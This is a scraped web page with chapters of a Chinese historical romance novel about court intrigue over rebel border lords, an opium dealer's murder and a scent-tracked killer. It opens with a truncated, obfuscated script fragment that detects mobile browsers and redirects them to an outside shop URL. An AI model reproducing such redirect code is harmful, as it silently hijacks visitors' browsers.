l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728981|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪窝呐?” 赵毓扭头。 黄枞菖看着他揣着手趴窝,这个动作怎么看,怎么像崔珩学冉庄老农蹲在门口吃面条的样子。 “祖宗,渴不渴,这是今年的明前茶,给您润润嗓子。” 赵毓捧过来茶碗,盘腿坐在太湖金砖上,颇有些垂头丧气,“唉。” 黄枞菖坐他身边,“陛下密旨,调龙骑禁军围住北境藩镇府邸。原镇守北境的三位王侯,七位镇守将军在雍京的院子就像围住了层层铁桶。那些地方不要说活人进出,就是一只鸟都飞不进去,也飞不出来。” 赵毓,“我丈母娘家呢?” 黄枞菖低着头,半晌,才说,“没封禁,可是,周围也有北镇抚司的人。” 赵毓又叹了口气,“哎。” 黄枞菖,“祖宗,别怪圣上。陛下这么做到不是说不信尹部堂,实在是情势太复杂。再说,有北镇抚司的人看着,也算是一种保护。” 赵毓心知,自己的这位老泰山是人杰。没准他一直筹划着缇骑的人赶紧围住他尹府,这样,就彻底隔断了麻烦。好事儿虽然找不到他,可是,最重要的是,祸事也找不到他了。把茶碗放地面上,他手中无意识开始拨弄那个木串,一颗珠子,两颗珠子,三颗,四颗,……,突然,他停手。 “黄瓜,你说,这是不是一招反间计?” 黄枞菖,“怎么说?” 赵毓,“殷忘川找人送了手串来雍京,暗示北境藩镇尽数谋反。虽然我们没有铁证,可是谋逆这种诛九族的重罪,朝廷一向是宁可错杀,不可放过。可是,按照大郑七百年来不成文的法度,藩镇以家人做人质换虎符,那些大人们都有儿子被扣在雍京城,有的甚至还放了一家老小在这里,如果他们当真降了外敌,亲骨血的性命就不要了吗?万一陛下昏聩,下旨诛杀,那些在前方的镇守大将们,不想反,也不得不反了。这么一来,我们岂不是自毁长城?不过,……,也不一定是自毁长城,也许这倒是条生路。” 黄枞菖,“生路?!怎么会?” 赵毓没说话,他又摸了摸这个手串,仔细看着。 黑皴皴,冷冰冰。 玉牌是最上等的羊脂玉,犹如和氏之璧,价值连城。 赵毓心中忽然有些异样:——要多么贵重的人,贵重的名字,多么不朽的大功业,才能用如此无暇美玉刻写名字! 承怡。 这个名字,此时竟然如此陌生。 “祖宗,您这翻来覆去的看,在看什么?” “我在看承怡这两个字。”赵毓说,“不知道怎么了,有那么一个恍惚,我都不认识它了。” 黄枞菖一愣,“祖宗,您痴懵了吧。” “我觉得人的名字是个特别有意思的东西。”赵毓,“你看承怡这两个字,怎么看,怎么显得特别贵重。它似乎什么都不用做,就可以让先帝跪太庙,就可以写进宗室玉牒,就可以用美玉雕刻传世,可是它又特别的脆弱。” 说到这里,他拿着手串在手腕上比了比,没戴,“赵毓就不成了。这个名字透着草根的气息,就像是须弥芥子,大千一苇。狂风骤雨之下,显得微不足道,可是就因为多,因为不值钱,因为不那么受人瞩目,所以行事没那么多顾忌,很多时候,反而没有枷锁,容易成事。” “黄瓜,前一阵子我虚,你带我去看那个装神弄鬼的大夫,随后去你店里吃药膳,你对我说过,如今茶馆中,说书人最红火的段子就是《说岳全传》与《杨家将》。他们的忠肝义胆,盖世功勋与高风亮节让百姓折服,保家卫国的大义更让大家心向往之。可是,大家酒足饭饱之后,隐晦议论的却是,当年宋帝十二道金牌招岳飞,致使一代名将冤死风波亭,实在大大可惜。” 黄枞菖点头,“是。” 赵毓,“陛下让龙骑禁军围了那些人的府邸,即使没有降罪,也会有闲话传出来。他们一定会说陛下是宋帝,那些藩镇是岳飞,并且再配上他们几代先祖曾经的忠肝义胆,战功赫赫,顿时,一部狡兔死走狗烹,飞鸟尽良弓藏的传说马上从北境一路荡气回肠进雍京城。” “如果陛下昏聩,不顾朝局,只顾千秋之后留在青史上的圣名,势必不敢这么做,前方的局势瞬息万变,顾忌太多,必然坐困愁城,错失良机。以后就艰难了,一步错,步步错。” 黄枞菖,“您在西北的时候,也顾虑过这些?” 赵毓,“西北打了几百年的战,和这里情势大不相同。西北人苦战乱久已,只要能平息动荡,生死不惧。可是,雍京这里的人们平顺日子过久了,根本不知道山河破碎风飘絮是个什么滋味,北境战事一起,朝廷征税调兵他们只会以为是平添大麻烦,必定怨声载道,如果再有人推波助澜,到时候,场面一定很不好看。” 黄枞菖问,“那应该如何做?” 赵毓,“《左传》上都写了,郑伯克段于鄢。撤藩镇,最好的法子就是逼着那些藩镇彻底反了,叛军一路烧杀抢掠进山海关,刀锋所到之处一片焦土,满地狼藉,让所有人有切肤之痛,这样,朝廷征税调兵就是顺应天意,到时候,不但没有阻力,反而众志成城,哀兵必胜。等待王师荡平暴|乱,天下大定,礼乐征伐自天子出,千秋之后,不会有人说陛下是宋帝,那些藩镇是岳飞。圣上留在青史上印记就是圣明仁德,就是垂范天下的大功业。这就是那条生路。” 黄枞菖,“这样做,是不是太造孽了?” 赵毓,“何为大功业?” 黄枞菖,“愿闻其详。” 赵毓,“大功业,就是永垂不朽的功绩,与无法超度、永堕地狱的业障。” 此时,他将手串放在一旁的地面上。 木珠子玻璃底色滑腻的海黄纹路与太湖金砖相得益彰,而玉牌,则闪过一丝光,冷的,深入骨髓,冻切心扉。 天快亮的时候,赵毓在殿门外探头,向里望。 “陛下,还生气吗?” 文湛坐在书案前面,手中是一份竹简版的《左氏春秋》,不意外,翻开的文字,就是“郑伯克段于鄢”。 赵毓蹭了过去,“难道当真要我跪洗衣板?” 124. 124 124 皇帝一直盯着他,愣是一句话不说。 赵毓叹口气,“真没法子了。黄瓜,拿进来吧。” 此时,黄枞菖从外面进来,手中拎着一块榉木雕的洗衣板,咣当一声就放在赵毓身前。 文湛腾的一下子从书案后面站起来,想要去制止,却,陡然停住身子。他看见一个小太监跟着黄枞菖进来,手中捧着一个肥厚的像包子一样的垫子,放在洗衣板上。赵毓规规矩矩的跪在洗衣板,……,上面的垫子上。 文湛看着他,琢磨了一下,——承怡这倒是也算跪洗衣板了,却似乎比跪床头还要舒服上七八分。 所以,皇帝也就没说话,继续一言不发的看着赵毓。 “陛下,我错了。”赵毓双手捏着耳垂,“自请罚跪。” 文湛就静静的看着他。 “我错在,不应该,……”赵毓垂头丧气的说,“……明明知道陛下您法严量窄,还要坦白,实在是错了,大大的错了。” 文湛,“……” “陛下。”赵毓忽然抬头,“我已经在外面的柱子旁边蹲了一宿了,腿挺酸的,这个罚跪嘛,……,意思意思就得了。好吗?” 皇帝忽然抬眼看了看他身后,黄枞菖和那个小太监寂静的垂手站立,像两根朽木雕刻而成的人棍。 他挥手让杂人退下。随后,方走到堆着厚垫子的洗衣板旁边,伸手将装模作样的赵毓一把扯起。 “陛下,呜,……” 文湛在赵毓的脖子上凶狠的咬了一口!腥甜的味道像是这十几年来沉淀在心底的嫉妒! 终于喷涌而出。 寒食大假最后一夜,雍京城不宵禁。 朱七姐漏夜入西市。 这里就像是雍京这张盛世画皮背后的另外一张脸,犹如死去多时的人被野狗啃到残破的脑袋。 她双腿发颤,每走一步都感觉心悬在嗓子眼儿上! 只是,她必须来。 因为这里的货物最全,——从鸦片到葱蒜。 只要有钱。 鸦片! 如果再搞不到上等的派脱那土,徽郡王的人就会把她剁碎喂狗。 今年开始,朱七姐的日子过的着实不顺。本来她做的是书寓的营生,不知道怎么鬼迷了心窍,开春后,她私运了一批下等烟土想要试水,结果货还没有入雍京城,就被赵毓黑吃黑。 姓赵的理由冠冕堂皇,见血封喉! 他说,——“您这批货可是东瀛倭人从波斯走私的红土,毒性极大,烧的些微多一些就能便血,再多一些立马死人!……听说,您的老主顾里面,还有徽郡王?还有,……,七姐如此手眼通天,怕不是还通倭?” 三两句话,赵毓就能给她扣上“谋害郡王”与“通倭”的两条灭族大罪! 情势比人强! 在赵毓面前,朱七姐只有就范。 丢了烟土,又不想还钱,雍京城自然也不是那么好混的。 幸好,这些年她做生意还算巴结,落难了也有一些朋友接济,她勉强躲了一段时日。她算着,风头过了,各路人马也不会惦记她这个小人物,终于可以在雍京露面,开张做生意了,结果,徽郡王却没打算放过她。 三天前。 徽郡王府邸的二管家福寿抓到她,先是让人用小羊皮的鞭子沾了盐水仔细抽了她一顿,她跪在天井,哭都不敢出声。 福寿手中一个紫砂小茶壶,踱步到她面前,笑着说,“七姐,你我也是老朋友了。这么说吧,我们郡王金尊玉贵,说句大不敬的话,就连当今圣上见了都要尊称一声‘老王叔’!” 徽郡王是朱七姐多年的老主顾,对于这位老郡王的事情,朱七姐心知肚明!这位老郡王虽然没实缺,可他们家世子爷却在兵部有实权。徽郡王世子管着制造局的军械造办,是当今天子的心腹重臣! 福寿喝了一口茶水,蹲下,“我们郡王府对七姐的生意从来都是照顾的,没有以势压人过吧。” “没有,没有,自然没有。”朱七姐只顾的上点头。 福寿,“七姐拿了白花花的银子,又不给我们烟土,还要东躲西藏,这种骗子行径着实是不好,您说呢?” 朱七姐大哭,“福总管,我是有苦衷的!” “哦?”福寿饶有兴趣,“说来听听?” 朱七姐,“您给我的银子我都买了烟土,上好的派脱那土!我让人从南粤运过来,千难万阻,我们也是打碎牙齿和血吞。只是,这批货一过卢沟桥,还没进雍京城就被打劫了。那个人在江湖上也是有名有姓,背后势力深不可测,我小小一个弱女子,不就范,还能怎么着?” 福寿听着就笑了,“这是哪里冒出来的不怕死的猴崽子,敢截您朱七姐的胡?” 朱七姐几乎是叫嚷出来,“他真的很可怕!” 福寿,“啧啧!雍京城还有这么一号人物,七姐,您别怕,说出来,也好吓吓我?” 朱七姐缩着肩膀,“我可不敢。” 福寿,“没事儿,您说。我倒要看看,哪个敢在太岁头上动土?” 朱七姐犹豫。 福寿,“郡王府给你撑腰,你怕什么?” 朱七姐一咬牙,双手抱住福寿的大腿,仰着脸,虽然已经是徐娘半老,却还有着梨花带雨的我见犹怜。她开口求道,“福爷,如果您能做了姓赵那小子,我就是拼了命,冒着通敌的灭族大罪,从南粤那边买货,渡过九九八十一难也要运到北边来,供郡王府烟土不断!” 福寿,“呦!天可怜见的,到底是什么王八羔子把七姐吓成这般可怜模样?”说着,他还摸了摸朱七姐的脸,入手皮肤滑腻,心说,真是一把好肉。 朱七姐,“赵毓。” “……”有那么一瞬间,福寿耳朵发懵,就感觉有人用一块铁板在他太阳穴边上狠狠揍了一板子,他头壳疼的将要裂开。“谁?……”福寿轻声问,就怕声音高一些,就惹了灾祸,“朱七姐,你说,那人是谁?” “赵毓!”朱七姐咬牙切齿,一不做二不休,三不做结冤仇,“元承行的赵毓!” 啪!!!—— 福寿一个耳光狠绝扇在朱七姐脸上,她的两颗后牙当即被打飞,脸蛋当即肿成了猪头,一边耳朵似乎也被打聋了。福寿一生气把茶壶也砸到她身上,热水泼出来,溅到她脸上,眼中,就像她小的时候见到的苏北的大水,铺天盖地的,漫了过来。她听福寿说话不是十分真切,却依稀能分辨。 “朱七姐,丢了货,你自己想办法交待。” “还有,以后见到赵毓躲着走!如果因为你招惹赵毓给郡王招灾,不用郡王爷出手,我亲手剁碎你喂狗!” 如今元承行封锁烟土生意,整个雍京城居然没有人敢贩这个,唯独西市有不怕死也不怕赵毓的人敢卖一些。他们为了钱什么都卖,从自己的女人到外洋的火铳,鸦片只是其中之一。 吱呀,…… 眼前的木门打开一条缝。 朱七姐看着门缝后面那双混浊的碧色眼睛,像两条没有命的虫子,她后背起来鸡皮疙瘩,开口说,“我姓朱,和洪丁先生有约。” 门彻底敞开。 一位老妪,佝偻着身子,说着一口不清不楚的雍京话,“进来吧。” 门后旁边放着一个箩筐,里面全是柴火稻草,院中有一棵核桃树,旁边是一个小鱼池。此时,灶上飘出一股奇异的香气,茶叶的味道伴着牛乳的腥气。 “七姐。”一个男人从屋子里面走出来,“你的货明晚到卢沟桥。” “你?!”朱七姐惊诧的看着眼前之人,“怎么是你?!” 洪丁是西疆人,异族人的相貌,白肤,深眼窝子,一对琉璃色的眼睛珠子,而眼前人明明是大郑汉人! 那人笑道,“怎么,七姐识得我?” 朱七姐稳稳心神,顾左右而言他,“雍京城外卢沟桥?我与洪先生说好的,在雍京城西市交货。” “最近情势有变。”那人说道,“雍京城不是那么好进的。” 朱七姐心道不好,她的货已经在城外被赵毓抄过一回了,如今雍京城内情势突变,波谲云诡,她自问没有这个本事将这批烟土运进城。如果她运气背,这批烟土再让赵毓抓着,姓赵的下不下死手不清楚,反正徽郡王的狗定饶不了她! 那人却笑了,“如果七姐觉得不方便,由我们运进城也好。只不过,价格要再上三成。” “好。”朱七姐连忙点头,“三成就三成。” “七姐同意就好。”那人说。 朱七姐,“那我先走了。” “七姐。”那人忽然叫住她,“先喝盏茶吧。” 朱七姐想着赶紧离开这个是非之地,越快越好,“不叨扰了。” 那人一拦,“此时正是亥时三刻,巡防营正在西市寻街,你出去撞到他们,不好。” 朱七姐心中忐忑,可是她也知道此人说的对,如果巡防营在外面,她当真出不去。此时,那人转身向屋子里面走,那里黑洞洞,像一只凶兽,张开血盆大口! “那日,雍京北城的烟雨楼,……”朱七姐忽然说,“北境总督徐绍的夫人要我给她儿子张罗小老婆,指名点姓要赵毓家那个叫做罗小草的养女。当时,屏风后站着一个人,似是徐夫人的主心骨,那位就是您吧,随侯世子?” “七姐果然记得我。” 石慎轻笑,“方才还想着,如果七姐只是在酒局上见过我,认得我,也就算了。没准趁着这个机会,我还可以通过你和徽郡王交个朋友,只有徐夫人这件事,因为涉及赵毓,当真棘手。” 他抽出一把弩。 “七姐,黄泉路上要记得,是赵毓连累了你。” 朱七姐一把抄起来门后的筐,冲着石慎劈头盖脸砸了过去。 夺门而逃! 崔珩从酒楼出来,看了看天,又看了看眼前这条车如流水马如龙的大街,对身后付了银子跟着他身后的人笑着说,“今儿我这是走了什么狗屎运,你有闲工夫请我喝酒,还给我张罗礼物?” 赵毓,“你这不是要到南边去嘛。这一路山高水远的,手中有硬家伙,心中不慌。” “对了,承怡,你们家那位七王爷纡尊降贵到我府上,说,你为我的事专门找了他,让他手底下的那个詹士府右春坊给我打个掩护。” “嗯。” “其实,不用这么麻烦。我想着,……”崔珩停了一下,才说,“老梁现在没差事了,我想让他和我南下。” 赵毓,“梁十一,……” “是。”崔珩,“为了那个叫三傻的丫头,狼崽子不再信他,也不让他再做北镇抚司的指挥使了。老梁这个人吧,人是傻了点命却不错,他被他师父从死人堆里扒拉出来,又带他入了缇骑教导了一身本事,他却不坏良心。这样的人真难得。如今有本事的人有的是,就像迎风长的韭菜,割了一茬又一茬,当真是野火烧不尽,春风吹又生;可是不坏良心的人却比三条腿的□□都难找,放着实在暴殄天物。我想着,既然圣上不用,能不能给我?” “那个高昌遗孤名字叫做珊依。”赵毓说。 “你看你。”崔珩摇头,“推三阻四的时候,总是说着猫三狗四的话。” 赵毓,“老崔,……” 崔珩,“这不是私事。不过,就算是私事,你帮我和狼崽子说说,他总会听你的。” “崔侯爷,您曾经是杜阁老为陛下选定的左相,本事大,老梁拍马都难以望你项背。圣上对你早就志在必得,连许愿加恐吓,甚至连‘凡不为小王所用者,亦不能为他人所用’这样话都说得出口。可是,您是先帝密探出身,我老爹身在帝位的时候,你易主了吗?他把你给文湛了吗?” 崔珩抓了抓眼眉。 赵毓,“老梁身在北镇抚司多年,曾经是今上的心腹,他的事情,真的需要从长计议。” 说道这里,他们两个人走到西市的入口,崔珩一愣,“你带我来这里做什么?” “等闲的东西,能给你傍身吗?”赵毓,“我让人从印度买了一把火铳,为了不惹人注意,走的是西市黑市。这可是一把好东西,正宗的英吉利货,轻,小,杀伤力极大,一会儿看见,你肯定爱不释手。” 崔珩却模糊了一句,“我只对人爱不释手。” 赵毓看了他一眼,宁淮侯又抓了抓眉。 暗巷中,朱七姐拼命逃,一刻不停。 她甚至不敢向身后看,慌乱的嘈杂如影随形,前面是路的尽头,有人影,有声音,有呼朋引伴,有吟诗作对,那里是雍京,那里有光,那里,不是西市!她终于可以逃出生天! 此时,朱七姐身后,一只手,叩击了弩。 西市。 在这里,于崔珩而言就是旱鸭子入海,他跟在赵毓身后。此时的赵毓如同一头狼,似乎在深夜中穿过遍布陷阱的密林。 一扇门,赵毓三长两短的敲了敲,那扇木门陡然大开。 一条劲瘦的壮汉提着马灯凑到赵毓脸上,压低声音道,“一条大江向东去。” 崔珩,“……” 赵毓面无表情,冷淡的回答,“两行热泪朝下淌。” 大汉,“三山五岳来相会。” 赵毓,“一派溪山万古流。” 大汉,“老赵,你还是这个样子,哈哈,快,进屋,进屋。” 崔珩,“……” 赵毓介绍道,“这是荀大牛,在西北的时候,他是斥候。当年攻打花拉子模,他刺探到撒马尔罕城中三位王子与后妈夺权,离心离德,使了反间计,从而让我军一举攻破城池,立下战功。如今,他应该是身在巡防营,心在哪里,我就不知道了。” 荀大牛把脑袋塞在门外,警惕看了看,关门,这才龇牙咧嘴笑着说,“老赵,我也发达了。我呢,还是做斥候,却比之前高升了。现如今我是正经六品武官,直接隶属进奏院,我老大的老大就是赫赫威名的宁淮侯!” 说道这里,他上下看了看崔珩,再开口似乎有些激动,“这位就是,……” 崔珩心知自己人的名树的影,被部署的部署认出来,也不是没有可能,谁让眼前此人曾经是赵毓麾下的王牌斥候? 于是他点头承认道,“正是。” 荀大牛,“大兄弟,你能跟着我们老赵,祖坟都冒青烟啊!” 崔珩,“……” 赵毓,“……” 荀大牛,“老赵,这位大兄弟不是你的小白脸吗?” 赵毓,“……??” 荀大牛也闻到不对劲了,疑惑的问,“咱们西北的弟兄们都传遍了,说你一回来就弄了个小白脸,还带着他满雍京城乱晃,据说是个世家子,人斯文,长的俊,如 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崔珩双眼极专注,几乎是长在黄铜管上,“这么大的代价,有什么独到之处?这把火铳似乎与其它的小弗朗机并无不同。” 荀大牛,“兄弟也懂火器?” 赵毓则说,“这把火铳就是给我老表买的。他是散货商人,要去南边做生意。如今南洋那边不太平,有个硬家伙傍身,我舅也好安心。” 荀大牛,“这位是你舅家的兄弟。哦,等得空,我去你舅家拜望,我还不认得你家人呢!老赵,你舅他老人家高寿啊?” 赵毓,“过一阵子就是我舅十五周年忌,你要是没事就去烧纸。” 荀大牛,“……” 赵毓一把抓过火铳,塞进崔珩手中,“这把火铳看似普通,不过只一个差别,就足以价抵两船鸦片。” 崔珩反手看到黄铜管与扳机之间有一个轮|盘,像宝船的轮子、绞盘与桨轮。 赵毓指了指轮|盘,“这个东西,可以让火铳连发。” 如今的火器只能打一次,随后连忙填充火|药与铅弹子,这与民间说的“打一枪换个地方”一样,如同小贼,不成大气候;更麻烦的是,它们全部是兵部捧着真金白银从澳门购入,花费巨万,难以在大郑全军普及。 而雍京制造局军械造办的弩却可以连发,相比外洋买进的火器,也便宜的多,同时杀伤力也足够强大。所以,在赵毓平定西北的战争中,可以连发的强|弩是他首选,也是唯一可选择的武器。 如果有可以连发的火器,…… 外面有人扣门,三长两短。 荀大牛去开门,一个穿着巡防营服色的兵士在他耳边说了点什么,他点了点头,“你先过去,我随后就到。” 崔珩将火铳放回木盒中,赵毓对着荀大牛说,“看样子有公事,你忙,我们回去了。” “西市与朱雀大街边上死了个女人。” 荀大牛开口,“我的人赶过去的时候,那个女的还没断气,模模糊糊的说了个名字,……” “赵毓。” 再见到朱七姐,居然是她的尸体,赵毓心中不知道是个什么滋味。 他举着马灯仔细看,此时的朱七姐爬在地上,手指向前抓,死不瞑目。一双中年美妇的眼睛望向朱雀大街,后脖子上直|插一根弩|箭,却偏了一些,错开了咽喉,这才让她留下遗言。 忽然! 赵毓闻到一丝的香气,极弱,犹如暴风中的游丝。 他趴到死尸边上,像一条狩猎的狗或者是狼,仔细嗅着,寻找猎物的踪迹。 崔珩一惊,“怎么?” 赵毓缓缓站起来,说,“弩|箭上有迦南的香气。” 迦南。唐代佛经中多为“多伽罗”,极品沉香中的极品。一块“一片万金”的沉香木料中,也许仅有一小块算的上是迦南。香料本来就贵,普通百姓没有这个讲究;沉香则极贵,只在权贵圈中流转,民间根本无迹可寻;而迦南这种顶级香料,能用得起的人,恐怕只有北城那些数得上号的朱门大户。 赵毓眼前的路:一边是朱雀大街的万般尘世繁华,一边是西市腹地的危险阴暗,刀丛林立。他从崔珩手中拿过木盒,掏出火铳,上了膛,拧身没入黑暗,崔珩连忙跟了过去。只是,这注定是一场无望的追踪。那丝迦南的香气萦绕不去,与其说是赵毓天赋异禀,更不如说是痴心妄想。 赵毓在夜里看不清东西,只是在黑暗中久了,慢慢习惯,也能看清楚眼前三尺。他面前是一个院子,看起来很齐整,有树,枝叶伸出墙外,遮挡着墙内的一座二层小楼。没有火烛,窗子都是黑洞洞的,还垂着竹帘子。他的眼睛一直盯着帘子后面。 他不知道自己为什么要这样做,这样做毫无道理可言。 也许只是抬头看看眼前的东西,也许是,直觉。 兽一般的直觉。 虽然,他什么都看不到。 此时。 小楼帘子后面,一只已经上|膛的弩|箭,对准赵毓的头颅。 石慎居高临下看着他,有一瞬间,他有些恍惚。 十三年前的自己,一位大郑随侯的世子,在什叶镇,也是这样,居高临下看着一个不知道天高地厚的小兵。 那个时候他不杀赵毓,因为彼时,无名无姓的蝼蚁不配。 而今天,…… 反正自己已经到了抄家灭族的边缘,拼死一搏,尚且有一线生机逃出生天,如若坐以待毙,只有死路一条。 石慎的手指叩住弩的机关,…… “世子。”身后一个纤细的声音,仿若是笼子中的黄莺。 石慎感觉到后腰上抵住利刃。 他回头,看见一个半大的丫头,一双碧蓝色的眼睛珠子,像蛇。 珊依。 梁十一家那个高昌遗孤,洪丁口中的“凤凰”! 石慎看着这种人,如同看着牲畜,他眼带轻蔑,“你?” 珊依汉语说不好,只能简短冒出几个字,“杀了赵毓,你也死。” “就凭你,威胁我?” 吧嗒。 是打开绷簧的声响。 石慎低头仔细看,这才清楚,珊依手中拿着的是“白刃”!这是一种可以伸缩的匕|首,大郑军方的暗杀神器,雍京制造局军械造办处的不传之秘,除了使用它们的兵士,只有负责锻造的几位高官才能摸到。 “你怎么有白刃?” “买我娘的那个畜生负责锻造此物,我娘偷了一把防身用,她回归长生天之后,留给了我。” 石慎一惊,“你父亲是徽郡王世子!” 这就是“凤凰”的真正含义?! 既然今天不是杀赵毓的好时机,就先放过他,来日方长。 石慎走后,珊依看着帘子,愣怔了一会儿。 她个子小,看不到窗外,于是轻轻挪过一个板凳,踏在上面,扒在窗子上,手指轻轻拨开竹帘的一条缝隙,向外看。 赵毓还在。 他身边有人,是那个在书院教书的落魄书生。 此时的赵毓,不再柔软,不像长生天的云,也不像圣山上的雪,他有些彷徨,似一头在沙漠狩猎,却迷失猎物踪迹的狼。 崔珩跟着他走过了这片异族人盘踞的黑暗,看了看四周,知道什么都不会收获,“走吧,剩下的事情交给顺天府。” 125. 125 125 赵毓觉得自己脑壳子里装了整个南苑猎场。 猎物乱蹦。 猎狗狂吠。 还有数十匹骏马在狂奔。 他闭上眼睛,数十年的往昔如同画片一般,在眼前过了一幕一幕又一幕。一会儿是巍峨昆仑,一会儿是拉莫孔雀河,一会儿是西疆万里黄沙,一会儿是雍京千年盛世繁华,间或还有一些故人的脸蛋子,有的人坟头的草都一人高了,有的人还活蹦乱跳的满雍京城乱晃。转而,他的眼前又闪过兄弟们的模样,在毓正宫读书,还小,虽然都是一肚子坏水,却齐齐整整。 脖子痒痒。 被文湛发疯咬出来血印的地方,正在被他的舌尖舔舐着。 赵毓一回神儿,才发现自己躺在床铺上,身上压着文湛。此时的皇帝像一头开了春的辛勤的牛,埋头苦干,已经耕了两陇水浇地了。 “从昨晚回来你就心神不宁,怎么了?” 赵毓赶紧用两条胳膊绞住文湛的脖子,双腿也盘上了他的腰,倒打一耙,“是你分心,隔靴搔痒,做得不够透。” 文湛的动作开始凶狠起来。 赵毓哼哼唧唧的,声音甜腻到像裹住飞虫的蜜,可以将一条生灵活生生窒息。只是,不一会儿,他忽然闻到一丝若有似无的香气,顿时,像是有人用冷水浇他的头,他整个人都凝住了。 “承怡?” “迦南,……,你汗珠子里都是这股味儿。” “禁宫调制的熏香,方子中有一味就是迦南。”文湛不解,“祖宗传下来的规矩,用了几百年了,怎么?” 赵毓,“迦南哪里能买?” 文湛,“它是贡品,至于别的,我就不清楚了。你的心神不宁,和迦南有关?” 赵毓,“我小时候用的香只是白昙花,……” 白昙香料也是贡品,却是异宝。每年从南边贡来只有一小盒,先帝不容旁人染指,只给了他。 文湛,“……” 赵毓,“陛下,你是喜欢我熏白昙的香,还是,……,我身上都是你的味儿?” 文湛几乎说不出来话。他的手在赵毓身上用力揉搓着,手臂上暴了青筋,力道狰狞。而赵毓皮薄,招架不住那股狠劲,热辣疼痛到委实熬不住就开始捶文湛的背,只是没折腾两下,就失去了力气。他被文湛死死拘住,像油坊中的桐油饼子,被硬木桩子用力压榨撞打,已经被彻底打透了。 第二日,崔珩叫他出来,赵毓只能杵着一根拐杖,一瘸一拐,像只鸭子。 因为。 他双腿打颤,几乎无法走路。 “呦。”崔珩,“你这是和谁结仇,被人把腿打残废了?” 赵毓没搭理他,只是专注的双手攥着拐杖,一步一步挪着进了宁淮侯府的后门,崔珩看他这样,牙根酸,酸的有些疼。 茶室内,赵毓摸着椅子边,慢慢坐下,长长呼出一口气,“老崔,有事儿说事,没事儿的话,你自己准备南下,我得回去卧着了。” “菊花,茶叶,茉莉花?”崔珩不接这个话茬,“还是玫瑰酸梅汤?” “酸梅汤。” 崔珩一挥手,让人去准备,他见周围没人,问了一句,“承怡,北境的事儿,你有什么打算?” 赵毓,“御前参赞军机的重担在你身上,别问我。” 崔珩,“内阁催的急,问我对北境有什么想法。我最近想的都是南下捞炮的事,实在不想再动脑子分神了。承怡,你就告诉我你是怎么想的,我让师爷按照你的意思添油加醋一番,攒个折子,向内阁交差。” 此时,侯府的侍女端了一个小白瓷坛子过来,盛着深红色的酸梅汤,坛子中还放了一个长柄木勺,她后面有人捧着木盘,放着两个梅子青的瓷盏。侍女用木勺舀了汤水,放入瓷盏中,又将它们分别摆放在赵毓与崔珩手边,这才垂手躬身退下。 赵毓,“你对北境是个什么想法?” 崔珩拿着瓷盏喝了一口,嘴唇边上挂着玫瑰窨出来的颜色,殷殷的,像血。 “如果只谈兵法,狼崽子大可直接诛杀北境诸藩九族,逼反那些带兵守将。反正他们现如今就像是困在灯草牢笼中的野兽,越雷池一步也只是早早晚晚的事,不如一不做二不休,朝廷也好名正言顺调兵戡乱,一了百了。” “这是大功业!” “可是。” “一旦无法在大鲜卑山平定战乱,让战火烧过了山海关,甚至燃到雍京城,依照大郑祖制,狼崽子死后没有庙号,牌位不进宗庙。不要说成为一代圣主名垂青史,就连他的名字都要被抹杀,成为孤魂野鬼,永世不得安宁。” 赵毓双手捧着瓷盏,没抬头,也没说话。 崔珩,“稳妥一些的做法就是放弃撤藩,安抚为主,一切从长计议。只是,需要重用北境总督徐绍,把他锻造成一把刀,甚至是一座山,可以真正镇守北境大片疆域。” “诸侯之博大,天子之害也。”赵毓,“藩镇是凶兽,为了震慑这些凶兽们,我们需要再制造一只更凶的兽。如果真这样做,这样被养起来的徐绍与那些藩镇,又有什么区别?” 崔珩,“你的想法是?” 赵毓,“重用徐绍,却不要将他养成藩镇,同时先发制人,下旨削藩。如果北境诸藩心中但凡有一丝忠义残存,借着陛下这道旨意顺坡下驴,放弃割据,回雍京,与家人团聚,消弭大乱于无形。陛下既往不咎。” 崔珩,“你不怕民间传闻今上是‘飞鸟尽良弓藏’和‘十二道金牌召岳飞’?” 赵毓,“小事,不足道哉。” 崔珩沉默了许久,才开口,“承怡,你有没有想过,只要陛下的军队最终戡乱功成,他依旧是一代雄主。这些顾忌,那些争议,那些杀戮,其实都不算什么。而且,如果战火从北境烧入山海关,尸横遍野也不怕,反而能激起同仇敌忾的哀兵之势,有大利!” 三百年前,宪宗皇帝为了收复破旧河山,特意放一支外族骑兵从西北绕过冻土荒原,从北境进攻,翻越大鲜卑山,入山海关,直捣居庸关,兵临雍京城。 流血漂橹。 这本应该是不容于大郑宗庙的罪业! 只是。 当宪宗皇帝重新统一华夏,驱逐胡马,他放外敌入境就是不得已而为之的战略;他的杀戮就是不得已而为之的手段;战火烧到雍京城下,不是君主无能,而是那些乱臣贼子,鞑虏外患罪无可赦。 宪宗的一切都被奉上神坛,他本人就是大郑宗庙中文治武功彪炳青史的帝王! 不会有人在意那些死去的籍籍无名之辈,那些曾经鲜活的性命,被黄土掩埋,累累白骨不过是泛黄史册上几笔寥寥的记载,对比帝王将相的伟烈丰功,犹如尘垢粃糠,卑卑不足道也。 “不。”赵毓摇头,“陛下在意身后名,却没有那么蝇营狗苟,谨小慎微。千秋之后,他的牌位进不进宗庙,自有天知道。只是,北境的人,都是人生父母养的,都不是西北风刮大的,只因为想要造成哀兵之势就随意屠杀,不是长治久安之象。陛下,也不是那样的君王。” 崔珩哼了一声。 赵毓,“这折子,你明白怎么写了?” 崔珩,“嗯。我让师爷再润色润色,明天一早就能呈折。” 赵毓,“你那位师爷,啧啧。” 崔珩,“咋?” 赵毓,“现在能在微音殿出入的人,谁不知道堂堂宁淮侯的幕府是一位算不清楚账目的,老眼昏花的,应该颐养天年的账房先生做主笔?写出来的折子四六不着,错字、别字连篇,司礼监就怕见到您呈上去的东西,黄瓜看见错字不改过来晚上睡不着觉,每一次,他把你家师爷写的东西改错字都能改的像小儿尿布,当真是人|弃狗嫌。要不,您换个眼睛好使,也认得字的师爷?” “不换。”崔珩翻了个死鱼眼,“这是蝎子粑粑独一份,满雍京城都找不到第二家。有这个师爷,显得我出淤泥而不染,不屑于同那些吏蠹同流合污。” 赵毓叹口气,双手杵着拐杖,歪歪扭扭的站起来,“没事儿了?那我走了。” 崔珩,“迦南。” 赵毓,“……?” 崔珩,“这是极珍贵的贡品,可是雍京民间市面上不能说完全绝迹。我找到一家香料铺,有这种货,一起看看去?” 琉璃香铺在一个破巷子深处。 